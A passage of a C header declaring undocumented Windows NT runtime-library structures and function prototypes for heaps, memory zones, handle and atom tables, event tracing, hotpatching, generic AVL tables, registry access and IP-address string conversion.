Flags; union { struct { SIZE_T Settable; USHORT TagIndex; USHORT AllocatorBackTraceIndex; ULONG Reserved[2]; } Block; struct { ULONG CommittedSize; ULONG UnCommittedSize; PVOID FirstEntry; PVOID LastEntry; } Segment; }; } RTL_HEAP_WALK_ENTRY, *PRTL_HEAP_WALK_ENTRY; #define HeapDebuggingInformation 0x80000002 typedef NTSTATUS (NTAPI *PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)( IN LONG Reserved, IN PVOID HeapHandle, IN PVOID BaseAddress, IN SIZE_T BlockSize, IN ULONG StackTraceDepth, IN PVOID *StackTrace ); typedef struct _HEAP_DEBUGGING_INFORMATION { PVOID InterceptorFunction; USHORT InterceptorValue; ULONG ExtendedOptions; ULONG StackTraceDepth; SIZE_T MinTotalBlockSize; SIZE_T MaxTotalBlockSize; PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine; } HEAP_DEBUGGING_INFORMATION, *PHEAP_DEBUGGING_INFORMATION; // added 11/04/2011 #define PREALLOCATE_EVENT_MASK 0x80000000 #define RtlInitializeLockRoutine(L) RtlInitializeCriticalSectionAndSpinCount((PRTL_CRITICAL_SECTION)(L),(PREALLOCATE_EVENT_MASK | 4000)) #define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) #define RtlReleaseLockRoutine(L) RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)(L)) #define RtlDeleteLockRoutine(L) RtlDeleteCriticalSection((PRTL_CRITICAL_SECTION)(L)) typedef struct _RTL_MEMORY_ZONE_SEGMENT { struct _RTL_MEMORY_ZONE_SEGMENT *NextSegment; SIZE_T Size; PVOID Next; PVOID Limit; } RTL_MEMORY_ZONE_SEGMENT, *PRTL_MEMORY_ZONE_SEGMENT; #if defined(_WINNT_) && defined(_MSC_VER) && (_MSC_VER < 1300) typedef struct _RTL_SRWLOCK { PVOID Ptr; } RTL_SRWLOCK, *PRTL_SRWLOCK; #endif typedef struct _RTL_MEMORY_ZONE { RTL_MEMORY_ZONE_SEGMENT Segment; RTL_SRWLOCK Lock; ULONG LockCount; PRTL_MEMORY_ZONE_SEGMENT FirstSegment; } RTL_MEMORY_ZONE, *PRTL_MEMORY_ZONE; typedef struct _RTL_PROCESS_VERIFIER_OPTIONS { ULONG SizeStruct; ULONG Option; UCHAR OptionData[1]; } RTL_PROCESS_VERIFIER_OPTIONS, *PRTL_PROCESS_VERIFIER_OPTIONS; typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS { VmPrefetchInformation, VmPagePriorityInformation, VmCfgCallTargetInformation } VIRTUAL_MEMORY_INFORMATION_CLASS; typedef struct _VM_INFORMATION { DWORD dwNumberOfOffsets; PULONG plOutput; PCFG_CALL_TARGET_INFO ptOffsets; PVOID pMustBeZero; PVOID pMoarZero; } VM_INFORMATION, * PVM_INFORMATION; typedef struct _MEMORY_RANGE_ENTRY { PVOID VirtualAddress; SIZE_T NumberOfBytes; } MEMORY_RANGE_ENTRY, *PMEMORY_RANGE_ENTRY; typedef struct _RTL_PROCESS_LOCKS { ULONG NumberOfLocks; RTL_PROCESS_LOCK_INFORMATION Locks[ 1 ]; } RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS; #define MAX_STACK_DEPTH 32 typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION { PCHAR SymbolicBackTrace; ULONG TraceCount; USHORT Index; USHORT Depth; PVOID BackTrace[ MAX_STACK_DEPTH ]; } RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION; typedef struct _RTL_PROCESS_BACKTRACES { ULONG CommittedMemory; ULONG ReservedMemory; ULONG NumberOfBackTraceLookups; ULONG NumberOfBackTraces; RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[ 1 ]; } RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES; typedef struct _RTL_DEBUG_INFORMATION { HANDLE SectionHandleClient; PVOID ViewBaseClient; PVOID ViewBaseTarget; ULONG_PTR ViewBaseDelta; HANDLE EventPairClient; HANDLE EventPairTarget; HANDLE TargetProcessId; HANDLE TargetThreadHandle; ULONG Flags; SIZE_T OffsetFree; SIZE_T CommitSize; SIZE_T ViewSize; union { PRTL_PROCESS_MODULES Modules; PRTL_PROCESS_MODULE_INFORMATION_EX *ModulesEx; }; PRTL_PROCESS_BACKTRACES BackTraces; PRTL_PROCESS_HEAPS Heaps; PRTL_PROCESS_LOCKS Locks; PVOID SpecificHeap; HANDLE TargetProcessHandle; PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions; PVOID ProcessHeap; HANDLE CriticalSectionHandle; HANDLE CriticalSectionOwnerThread; PVOID Reserved[4]; } RTL_DEBUG_INFORMATION, *PRTL_DEBUG_INFORMATION; //added 21/03/2011 //end // added: 22/04/2011 - RtlStream typedef struct _RTL_MEMORY_STREAM_DATA *PRTL_MEMORY_STREAM_DATA; typedef struct _RTL_MEMORY_STREAM_WITH_VTABLE *PRTL_MEMORY_STREAM_WITH_VTABLE; typedef struct _RTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA *PRTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA; HRESULT NTAPI RtlReleaseMemoryStream( PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream ); HRESULT NTAPI RtlSetMemoryStreamSize( PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, ULARGE_INTEGER ULargeInteger ); HRESULT NTAPI RtlCommitMemoryStream( PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, ULONG NewStream ); HRESULT NTAPI RtlRevertMemoryStream( PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream ); NTSTATUS NTAPI RtlCopySecurityDescriptor( PSECURITY_DESCRIPTOR SourceDescriptor, PSECURITY_DESCRIPTOR DestinationDescriptor ); typedef struct _RTL_HANDLE_TABLE_ENTRY { union { ULONG Flags; struct _RTL_HANDLE_TABLE_ENTRY *NextFree; }; } RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; #define RTL_HANDLE_ALLOCATED (USHORT)0x0001 typedef struct _RTL_HANDLE_TABLE { ULONG MaximumNumberOfHandles; ULONG SizeOfHandleTableEntry; ULONG Reserved[2]; PRTL_HANDLE_TABLE_ENTRY FreeHandles; PRTL_HANDLE_TABLE_ENTRY CommittedHandles; PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; } RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; #if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) typedef struct _JOB_SET_ARRAY { HANDLE JobHandle; // Handle to job object to insert DWORD MemberLevel; // Level of this job in the set. Must be > 0. Can be sparse. DWORD Flags; // Unused. Must be zero } JOB_SET_ARRAY, *PJOB_SET_ARRAY; #endif VOID NTAPI RtlInitializeHandleTable( IN ULONG MaximumNumberOfHandles, IN ULONG SizeOfHandleTableEntry, OUT PRTL_HANDLE_TABLE HandleTable ); NTSTATUS NTAPI RtlDestroyHandleTable( _Inout_ PRTL_HANDLE_TABLE HandleTable ); PRTL_HANDLE_TABLE_ENTRY NTAPI RtlAllocateHandle( IN PRTL_HANDLE_TABLE HandleTable, OUT OPTIONAL PULONG HandleIndex ); BOOLEAN NTAPI RtlFreeHandle( IN PRTL_HANDLE_TABLE HandleTable, IN PRTL_HANDLE_TABLE_ENTRY Handle ); BOOLEAN NTAPI RtlIsValidHandle( IN PRTL_HANDLE_TABLE HandleTable, IN PRTL_HANDLE_TABLE_ENTRY Handle ); BOOLEAN NTAPI RtlIsValidIndexHandle( IN PRTL_HANDLE_TABLE HandleTable, IN ULONG HandleIndex, OUT PRTL_HANDLE_TABLE_ENTRY *Handle ); #define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xc000 #define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000 #define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37 #define RTL_ATOM_MAXIMUM_NAME_LENGTH 255 #define RTL_ATOM_PINNED 0x01 NTSTATUS NTAPI RtlCreateAtomTable( IN ULONG NumberOfBuckets, OUT PVOID *AtomTableHandle ); NTSTATUS NTAPI RtlDestroyAtomTable( IN PVOID AtomTableHandle ); NTSTATUS NTAPI RtlEmptyAtomTable( IN PVOID AtomTableHandle, IN BOOLEAN IncludePinnedAtoms ); NTSTATUS NTAPI RtlAddAtomToAtomTable( IN PVOID AtomTableHandle, IN PWSTR AtomName, _Inout_opt_ PRTL_ATOM Atom ); NTSTATUS NTAPI RtlLookupAtomInAtomTable( IN PVOID AtomTableHandle, IN PWSTR AtomName, OUT OPTIONAL PRTL_ATOM Atom ); NTSTATUS NTAPI RtlDeleteAtomFromAtomTable( IN PVOID AtomTableHandle, IN RTL_ATOM Atom ); NTSTATUS NTAPI RtlPinAtomInAtomTable( IN PVOID AtomTableHandle, IN RTL_ATOM Atom ); NTSTATUS NTAPI RtlQueryAtomInAtomTable( IN PVOID AtomTableHandle, IN RTL_ATOM Atom, OUT OPTIONAL PULONG AtomUsage, OUT OPTIONAL PULONG AtomFlags, _Inout_ PWSTR AtomName, _Inout_opt_ PULONG AtomNameLength ); NTSTATUS NTAPI RtlQueryAtomsInAtomTable( IN PVOID AtomTableHandle, IN ULONG MaximumNumberOfAtoms, OUT PULONG NumberOfAtoms, OUT PRTL_ATOM Atoms ); BOOLEAN NTAPI RtlGetIntegerAtom( IN PWSTR AtomName, OUT OPTIONAL PUSHORT IntegerAtom ); #define EVENT_MIN_LEVEL (0) #define EVENT_MAX_LEVEL (0xff) #define EVENT_ACTIVITY_CTRL_GET_ID (1) #define EVENT_ACTIVITY_CTRL_SET_ID (2) #define EVENT_ACTIVITY_CTRL_CREATE_ID (3) #define EVENT_ACTIVITY_CTRL_GET_SET_ID (4) #define EVENT_ACTIVITY_CTRL_CREATE_SET_ID (5) typedef ULONGLONG REGHANDLE, *PREGHANDLE; #define MAX_EVENT_DATA_DESCRIPTORS (128) #define MAX_EVENT_FILTER_DATA_SIZE (1024) // // EVENT_DATA_DESCRIPTOR is used to pass in user data items // in events. // typedef struct _EVENT_DATA_DESCRIPTOR { ULONG_PTR Ptr; // Pointer to data ULONG Size; // Size of data in bytes ULONG Reserved; } EVENT_DATA_DESCRIPTOR, *PEVENT_DATA_DESCRIPTOR; typedef struct _EVENT_DESCRIPTOR { USHORT Id; UCHAR Version; UCHAR Channel; UCHAR Level; UCHAR Opcode; USHORT Task; ULONGLONG Keyword; } EVENT_DESCRIPTOR, *PEVENT_DESCRIPTOR; typedef const EVENT_DESCRIPTOR *PCEVENT_DESCRIPTOR; // // EVENT_FILTER_DESCRIPTOR is used to pass in enable filter // data item to a user callback function. // typedef struct _EVENT_FILTER_DESCRIPTOR { ULONG_PTR Ptr; ULONG Size; ULONG Type; } EVENT_FILTER_DESCRIPTOR, *PEVENT_FILTER_DESCRIPTOR; // // old nt4 channel stuff // //#pragma pack(1) #pragma pack() typedef struct _CHANNEL_MESSAGE { PVOID Text; ULONG Length; PVOID Context; PVOID Base; union { BOOLEAN Close; LONGLONG Align; }; } CHANNEL_MESSAGE, *PCHANNEL_MESSAGE; typedef struct _HOTPATCH_HEADER { ULONG Signature; ULONG Version; ULONG FixupRgnCount; ULONG FixupRgnRva; ULONG ValidationCount; ULONG ValidationArrayRva; ULONG HookCount; ULONG HookArrayRva; ULONG_PTR OrigHotpBaseAddress; ULONG_PTR OrigTargetBaseAddress; ULONG TargetNameRva; ULONG ModuleIdMethod; union { ULONG Filler; } TargetModuleIdValue; } HOTPATCH_HEADER, *PHOTPATCH_HEADER; typedef struct _HOTPATCH_MODULE_DATA { USHORT HotpatchImageNameLength; USHORT ColdpatchImagePathLength; WCHAR NameBuffer[ 1 ]; } HOTPATCH_MODULE_DATA, *PHOTPATCH_MODULE_DATA; typedef struct _HOTPATCH_MODULE_ENTRY { struct _TRIPLE_LIST_ENTRY ListEntry; struct _HOTPATCH_MODULE_DATA Data; } HOTPATCH_MODULE_ENTRY, *PHOTPATCH_MODULE_ENTRY; typedef struct _HOTPATCH_HOOK { USHORT HookType; USHORT HookOptions; ULONG HookRva; ULONG HotpRva; ULONG ValidationRva; } HOTPATCH_HOOK, *PHOTPATCH_HOOK; typedef struct _RTL_PATCH_HEADER { LIST_ENTRY PatchList; PVOID PatchImageBase; struct _RTL_PATCH_HEADER* NextPatch; ULONG PatchFlags; LONG PatchRefCount; struct _HOTPATCH_HEADER* HotpatchHeader; UNICODE_STRING TargetDllName; HANDLE TargetDllBase; PLDR_DATA_TABLE_ENTRY TargetLdrDataTableEntry; PLDR_DATA_TABLE_ENTRY PatchLdrDataTableEntry; PSYSTEM_HOTPATCH_CODE_INFORMATION CodeInfo; PVOID ColdpatchFileHandle; HOTPATCH_MODULE_ENTRY HotpatchModuleEntry; } RTL_PATCH_HEADER, *PRTL_PATCH_HEADER; #pragma warning(default: 4273) // nconsistent dll linkage (winnt.h) #ifndef _SLIST_HEADER_ #define _SLIST_HEADER_ #if defined(_M_X64) // // The type SINGLE_LIST_ENTRY is not suitable for use with SLISTs. For // WIN64, an entry on an SLIST is required to be 16-byte aligned, while a // SINGLE_LIST_ENTRY structure has only 8 byte alignment. // // Therefore, all SLIST code should use the SLIST_ENTRY type instead of the // SINGLE_LIST_ENTRY type. // #pragma warning(push) #pragma warning(disable:4324) // structure padded due to align() typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY *PSLIST_ENTRY; typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY { PSLIST_ENTRY Next; } SLIST_ENTRY; #pragma warning(pop) #else #define SLIST_ENTRY SINGLE_LIST_ENTRY #define _SLIST_ENTRY _SINGLE_LIST_ENTRY #define PSLIST_ENTRY PSINGLE_LIST_ENTRY #endif #if defined(_M_X64) typedef struct DECLSPEC_ALIGN(16) _SLIST_HEADER { ULONGLONG Alignment; ULONGLONG Region; } SLIST_HEADER; typedef struct _SLIST_HEADER *PSLIST_HEADER; #else typedef union _SLIST_HEADER { ULONGLONG Alignment; struct { SLIST_ENTRY Next; WORD Depth; WORD Sequence; }; } SLIST_HEADER, *PSLIST_HEADER; #endif #endif // // prototypes *must* be encapsulated with extern "C" macros at start and end of prototype block // PSLIST_ENTRY __fastcall RtlInterlockedPushListSList ( IN PSLIST_HEADER ListHead, IN PSLIST_ENTRY List, IN PSLIST_ENTRY ListEnd, IN ULONG Count ); VOID NTAPI RtlAssert( IN PVOID VoidFailedAssertion, IN PVOID VoidFileName, IN ULONG LineNumber, _In_opt_ PSTR MutableMessage ); VOID NTAPI RtlInitializeGenericTableAvl ( PRTL_AVL_TABLE Table, PRTL_AVL_COMPARE_ROUTINE CompareRoutine, PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, PRTL_AVL_FREE_ROUTINE FreeRoutine, PVOID TableContext ); PVOID NTAPI RtlInsertElementGenericTableAvl ( PRTL_AVL_TABLE Table, PVOID Buffer, ULONG BufferSize, PBOOLEAN NewElement OPTIONAL ); PVOID NTAPI RtlInsertElementGenericTableFullAvl ( PRTL_AVL_TABLE Table, PVOID Buffer, ULONG BufferSize, PBOOLEAN NewElement OPTIONAL, PVOID NodeOrParent, TABLE_SEARCH_RESULT SearchResult ); BOOLEAN NTAPI RtlDeleteElementGenericTableAvl ( PRTL_AVL_TABLE Table, PVOID Buffer ); PVOID NTAPI RtlLookupElementGenericTableAvl ( PRTL_AVL_TABLE Table, PVOID Buffer ); PVOID NTAPI RtlLookupElementGenericTableFullAvl ( PRTL_AVL_TABLE Table, PVOID Buffer, OUT PVOID *NodeOrParent, OUT TABLE_SEARCH_RESULT *SearchResult ); PVOID NTAPI RtlEnumerateGenericTableAvl ( PRTL_AVL_TABLE Table, BOOLEAN Restart ); PVOID NTAPI RtlEnumerateGenericTableWithoutSplayingAvl ( PRTL_AVL_TABLE Table, PVOID *RestartKey ); PVOID NTAPI RtlEnumerateGenericTableLikeADirectory ( IN PRTL_AVL_TABLE Table, IN PRTL_AVL_MATCH_FUNCTION MatchFunction, IN PVOID MatchData, IN ULONG NextFlag, _Inout_ PVOID *RestartKey, _Inout_ PULONG DeleteCount, _Inout_ PVOID Buffer ); PVOID NTAPI RtlGetElementGenericTableAvl ( PRTL_AVL_TABLE Table, ULONG I ); ULONG NTAPI RtlNumberGenericTableElementsAvl ( PRTL_AVL_TABLE Table ); BOOLEAN NTAPI RtlIsGenericTableEmptyAvl ( PRTL_AVL_TABLE Table ); PRTL_SPLAY_LINKS NTAPI RtlSplay ( PRTL_SPLAY_LINKS Links ); PRTL_SPLAY_LINKS NTAPI RtlDelete ( PRTL_SPLAY_LINKS Links ); VOID NTAPI RtlDeleteNoSplay ( PRTL_SPLAY_LINKS Links, PRTL_SPLAY_LINKS *Root ); PRTL_SPLAY_LINKS NTAPI RtlSubtreeSuccessor ( PRTL_SPLAY_LINKS Links ); PRTL_SPLAY_LINKS NTAPI RtlSubtreePredecessor ( PRTL_SPLAY_LINKS Links ); PRTL_SPLAY_LINKS NTAPI RtlRealSuccessor ( PRTL_SPLAY_LINKS Links ); PRTL_SPLAY_LINKS NTAPI RtlRealPredecessor ( PRTL_SPLAY_LINKS Links ); VOID NTAPI RtlInitializeGenericTable ( PRTL_GENERIC_TABLE Table, PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, PRTL_GENERIC_FREE_ROUTINE FreeRoutine, PVOID TableContext ); PVOID NTAPI RtlInsertElementGenericTable ( PRTL_GENERIC_TABLE Table, PVOID Buffer, ULONG BufferSize, PBOOLEAN NewElement OPTIONAL ); PVOID NTAPI RtlInsertElementGenericTableFull ( PRTL_GENERIC_TABLE Table, PVOID Buffer, ULONG BufferSize, PBOOLEAN NewElement OPTIONAL, PVOID NodeOrParent, TABLE_SEARCH_RESULT SearchResult ); BOOLEAN NTAPI RtlDeleteElementGenericTable ( PRTL_GENERIC_TABLE Table, PVOID Buffer ); PVOID NTAPI RtlLookupElementGenericTable ( PRTL_GENERIC_TABLE Table, PVOID Buffer ); PVOID NTAPI RtlLookupElementGenericTableFull ( PRTL_GENERIC_TABLE Table, PVOID Buffer, OUT PVOID *NodeOrParent, OUT TABLE_SEARCH_RESULT *SearchResult ); PVOID NTAPI RtlEnumerateGenericTable ( PRTL_GENERIC_TABLE Table, BOOLEAN Restart ); PVOID NTAPI RtlEnumerateGenericTableWithoutSplaying ( PRTL_GENERIC_TABLE Table, PVOID *RestartKey ); PVOID NTAPI RtlGetElementGenericTable( PRTL_GENERIC_TABLE Table, ULONG I ); ULONG NTAPI RtlNumberGenericTableElements( PRTL_GENERIC_TABLE Table ); BOOLEAN NTAPI RtlIsGenericTableEmpty ( PRTL_GENERIC_TABLE Table ); NTSTATUS NTAPI RtlInitializeHeapManager( ); PVOID NTAPI RtlCreateHeap( IN ULONG Flags, IN PVOID HeapBase OPTIONAL, IN SIZE_T ReserveSize OPTIONAL, IN SIZE_T CommitSize OPTIONAL, IN PVOID Lock OPTIONAL, IN PRTL_HEAP_PARAMETERS Parameters OPTIONAL ); PVOID NTAPI RtlDestroyHeap( IN PVOID HeapHandle ); PVOID NTAPI RtlAllocateHeap( IN PVOID HeapHandle, IN ULONG Flags, IN SIZE_T Size ); BOOLEAN NTAPI RtlFreeHeap( IN PVOID HeapHandle, _In_opt_ ULONG Flags, IN PVOID BaseAddress ); SIZE_T NTAPI RtlSizeHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID BaseAddress ); NTSTATUS NTAPI RtlZeroHeap( IN PVOID HeapHandle, IN ULONG Flags ); VOID NTAPI RtlProtectHeap( IN PVOID HeapHandle, IN BOOLEAN MakeReadOnly ); ULONG NTAPI RtlGetNtGlobalFlags( VOID ); VOID NTAPI RtlGetCallersAddress( OUT PVOID *CallersAddress, OUT PVOID *CallersCaller ); ULONG NTAPI RtlWalkFrameChain ( OUT PVOID *Callers, IN ULONG Count, IN ULONG Flags ); USHORT NTAPI RtlLogStackBackTrace( VOID ); ULONG NTAPI RtlCaptureStackContext ( OUT PULONG_PTR Callers, OUT PRTL_STACK_CONTEXT Context, IN ULONG Limit ); BOOLEAN NTAPI RtlGetNtProductType( PNT_PRODUCT_TYPE NtProductType ); NTSTATUS NTAPI RtlFormatCurrentUserKeyPath ( OUT PUNICODE_STRING CurrentUserKeyPath ); NTSTATUS NTAPI RtlOpenCurrentUser( IN ULONG DesiredAccess, OUT PHANDLE CurrentUserKey ); NTSTATUS NTAPI RtlQueryRegistryValues( IN ULONG RelativeTo, IN PCWSTR Path, IN PRTL_QUERY_REGISTRY_TABLE QueryTable, IN PVOID Context, IN PVOID Environment OPTIONAL ); NTSTATUS NTAPI RtlWriteRegistryValue( IN ULONG RelativeTo, IN PCWSTR Path, IN PCWSTR ValueName, IN ULONG ValueType, IN PVOID ValueData, IN ULONG ValueLength ); NTSTATUS NTAPI RtlDeleteRegistryValue( IN ULONG RelativeTo, IN PCWSTR Path, IN PCWSTR ValueName ); NTSTATUS NTAPI RtlCreateRegistryKey( IN ULONG RelativeTo, IN PWSTR Path ); NTSTATUS NTAPI RtlCheckRegistryKey( IN ULONG RelativeTo, IN PWSTR Path ); //added 21/03/2011 //begin BOOLEAN NTAPI RtlLockHeap( IN PVOID HeapHandle ); BOOLEAN NTAPI RtlUnlockHeap( IN PVOID HeapHandle ); PVOID NTAPI RtlReAllocateHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID BaseAddress, IN SIZE_T Size ); BOOLEAN NTAPI RtlGetUserInfoHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID BaseAddress, OUT OPTIONAL PVOID *UserValue, OUT OPTIONAL PULONG UserFlags ); BOOLEAN NTAPI RtlSetUserValueHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID BaseAddress, IN PVOID UserValue ); BOOLEAN NTAPI RtlSetUserFlagsHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID BaseAddress, IN ULONG UserFlagsReset, IN ULONG UserFlagsSet ); ULONG NTAPI RtlCreateTagHeap( IN PVOID HeapHandle, IN ULONG Flags, _In_opt_ PWSTR TagPrefix, IN PWSTR TagNames ); PWSTR NTAPI RtlQueryTagHeap( IN PVOID HeapHandle, IN ULONG Flags, IN USHORT TagIndex, IN BOOLEAN ResetCounters, OUT OPTIONAL PRTL_HEAP_TAG_INFO TagInfo ); NTSTATUS NTAPI RtlExtendHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID Base, IN SIZE_T Size ); SIZE_T NTAPI RtlCompactHeap( IN PVOID HeapHandle, IN ULONG Flags ); BOOLEAN NTAPI RtlValidateProcessHeaps( ); ULONG NTAPI RtlGetProcessHeaps( IN ULONG NumberOfHeaps, OUT PVOID *ProcessHeaps ); NTSTATUS NTAPI RtlUsageHeap( IN PVOID HeapHandle, IN ULONG Flags, _Inout_ PRTL_HEAP_USAGE Usage ); NTSTATUS NTAPI RtlWalkHeap( IN PVOID HeapHandle, _Inout_ PRTL_HEAP_WALK_ENTRY Entry ); #if !defined(_WINDOWS_) NTSTATUS NTAPI RtlQueryHeapInformation( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, OUT OPTIONAL PVOID HeapInformation, _In_opt_ SIZE_T HeapInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI RtlSetHeapInformation( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, _In_opt_ PVOID HeapInformation, _In_opt_ SIZE_T HeapInformationLength ); #endif ULONG NTAPI RtlMultipleAllocateHeap( IN PVOID HeapHandle, IN ULONG Flags, IN SIZE_T Size, IN ULONG Count, OUT PVOID *Array ); ULONG NTAPI RtlMultipleFreeHeap( IN PVOID HeapHandle, IN ULONG Flags, IN ULONG Count, IN PVOID *Array ); VOID NTAPI RtlDetectHeapLeaks( VOID ); #if (NTDDI_VERSION >= NTDDI_VISTA) NTSTATUS NTAPI RtlCreateMemoryZone( OUT PVOID *MemoryZone, IN SIZE_T InitialSize, ULONG Flags ); NTSTATUS NTAPI RtlDestroyMemoryZone( IN PVOID MemoryZone ); NTSTATUS NTAPI RtlAllocateMemoryZone( IN PVOID MemoryZone, IN SIZE_T BlockSize, OUT PVOID *Block ); NTSTATUS NTAPI RtlResetMemoryZone( IN PVOID MemoryZone ); NTSTATUS NTAPI RtlLockMemoryZone( IN PVOID MemoryZone ); NTSTATUS NTAPI RtlUnlockMemoryZone( IN PVOID MemoryZone ); #endif #if (NTDDI_VERSION >= NTDDI_VISTA) NTSTATUS NTAPI RtlCreateMemoryBlockLookaside( OUT PVOID *MemoryBlockLookaside, IN ULONG Flags, IN ULONG InitialSize, IN ULONG MinimumBlockSize, IN ULONG MaximumBlockSize ); NTSTATUS NTAPI RtlDestroyMemoryBlockLookaside( IN PVOID MemoryBlockLookaside ); NTSTATUS NTAPI RtlAllocateMemoryBlockLookaside( IN PVOID MemoryBlockLookaside, IN ULONG BlockSize, OUT PVOID *Block ); NTSYSAPI NTSTATUS NTAPI RtlFreeMemoryBlockLookaside( IN PVOID MemoryBlockLookaside, IN PVOID Block ); NTSTATUS NTAPI RtlExtendMemoryBlockLookaside( IN PVOID MemoryBlockLookaside, IN ULONG Increment ); NTSTATUS NTAPI RtlResetMemoryBlockLookaside( IN PVOID MemoryBlockLookaside ); NTSTATUS NTAPI RtlLockMemoryBlockLookaside( IN PVOID MemoryBlockLookaside ); NTSTATUS NTAPI RtlUnlockMemoryBlockLookaside( IN PVOID MemoryBlockLookaside ); #endif HANDLE NTAPI RtlGetCurrentTransaction( ); LOGICAL NTAPI RtlSetCurrentTransaction( IN HANDLE TransactionHandle ); PRTL_DEBUG_INFORMATION NTAPI RtlCreateQueryDebugBuffer( _In_opt_ ULONG MaximumCommit, IN BOOLEAN UseEventPair ); NTSTATUS NTAPI RtlDestroyQueryDebugBuffer( IN PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessDebugInformation( IN HANDLE UniqueProcessId, IN ULONG Flags, _Inout_ PRTL_DEBUG_INFORMATION Buffer ); //added 21/03/2011 //end ULONG NTAPI RtlUniform ( PULONG Seed ); NTSTATUS RtlComputeImportTableHash( IN HANDLE hFile, OUT PCHAR Hash, IN ULONG ImportTableHashRevision ); NTSTATUS NTAPI RtlIntegerToChar ( ULONG Value, ULONG Base, LONG OutputLength, PSZ String ); NTSTATUS NTAPI RtlIntegerToUnicode ( IN ULONG Value, IN ULONG Base OPTIONAL, IN LONG OutputLength, OUT PWSTR String ); NTSTATUS NTAPI RtlLargeIntegerToChar ( PLARGE_INTEGER Value, ULONG Base OPTIONAL, LONG OutputLength, PSZ String ); NTSTATUS NTAPI RtlLargeIntegerToUnicode ( IN PLARGE_INTEGER Value, IN ULONG Base OPTIONAL, IN LONG OutputLength, OUT PWSTR String ); PSTR NTAPI RtlIpv4AddressToStringA ( IN const struct in_addr *Addr, OUT PSTR S ); PSTR NTAPI RtlIpv6AddressToStringA ( IN const struct in6_addr *Addr, OUT PSTR S ); NTSTATUS NTAPI RtlIpv4AddressToStringExA( IN const struct in_addr *Address, IN USHORT Port, OUT PSTR AddressString, _Inout_ PULONG AddressStringLength ); NTSTATUS NTAPI RtlIpv6AddressToStringExA( IN const struct in6_addr *Address, IN ULONG ScopeId, IN USHORT Port, OUT PSTR AddressString, _Inout_ PULONG AddressStringLength ); PWSTR NTAPI RtlIpv4AddressToStringW ( IN const struct in_addr *Addr, OUT PWSTR S ); PWSTR NTAPI RtlIpv6AddressToStringW ( IN const struct in6_addr *Addr, OUT PWSTR S ); NTSTATUS NTAPI RtlIpv4AddressToStringExW( IN const struct in_addr *Address, IN USHORT Port, OUT PWSTR AddressString, _Inout_ PULONG AddressStringLength ); NTSTATUS NTAPI RtlIpv6AddressToStringExW( IN const struct in6_addr *Address, IN ULONG ScopeId, IN USHORT Port, OUT PWSTR AddressString, _Inout_ PULONG AddressStringLength ); NTSTATUS NTAPI RtlIpv4StringToAddressA ( IN PCSTR S, IN BOOLEAN Strict, OUT PCSTR *Terminator, OUT struct in_addr *Addr ); NTSTATUS NTAPI RtlIpv6StringToAddressA ( IN PCSTR S, OUT PCSTR *Terminator, OUT struct in6_addr *Addr ); NTSTATUS NTAPI RtlIpv4StringToAddressExA ( IN PCSTR AddressString, IN BOOLEAN Strict, OUT struct in_addr *Address, OUT PUSHORT Port ); NTSTATUS NTAPI RtlIpv6StringToAddressExA ( IN PCSTR AddressString, OUT struct in6_addr *Address, OUT PULONG ScopeId, OUT PUSHORT Port ); NTSTATUS NTAPI RtlIpv4StringToAddressW ( IN PCWSTR S, IN BOOLEAN Strict, OUT LPCWSTR *Terminator, OUT struct in_addr *Addr ); NTSTATUS NTAPI RtlIpv6StringToAddressW ( IN PCWSTR S, OUT PCWSTR *Terminator, OUT struct in6_addr *Addr ); NTSTATUS NTAPI RtlIpv4StringToAddressExW ( IN PCWSTR AddressString, IN BOOLEAN Strict, OUT struct in_addr *Address, OUT PUSHORT Port ); NTSTATUS NTAPI RtlIpv6StringToAddressExW ( IN PCWSTR AddressString, OUT struct in6_addr *Address, OUT PULONG ScopeId, OUT PUSHORT Port ); NTSTATUS NTAPI RtlIntegerToUnicodeString ( ULONG Value, ULONG Base, PUNICODE_STRING String ); NTSTATUS NTAPI RtlInt64ToUnicodeString ( IN ULONGLONG Value, IN ULONG Base OPTIONAL, _Inout_ PUNICODE_STRING String ); NTSTATUS NTAPI RtlUnicodeStringToInteger ( PCUNICODE_STRING String, ULONG Base, PULONG Value ); VOID NTAPI RtlInitString( 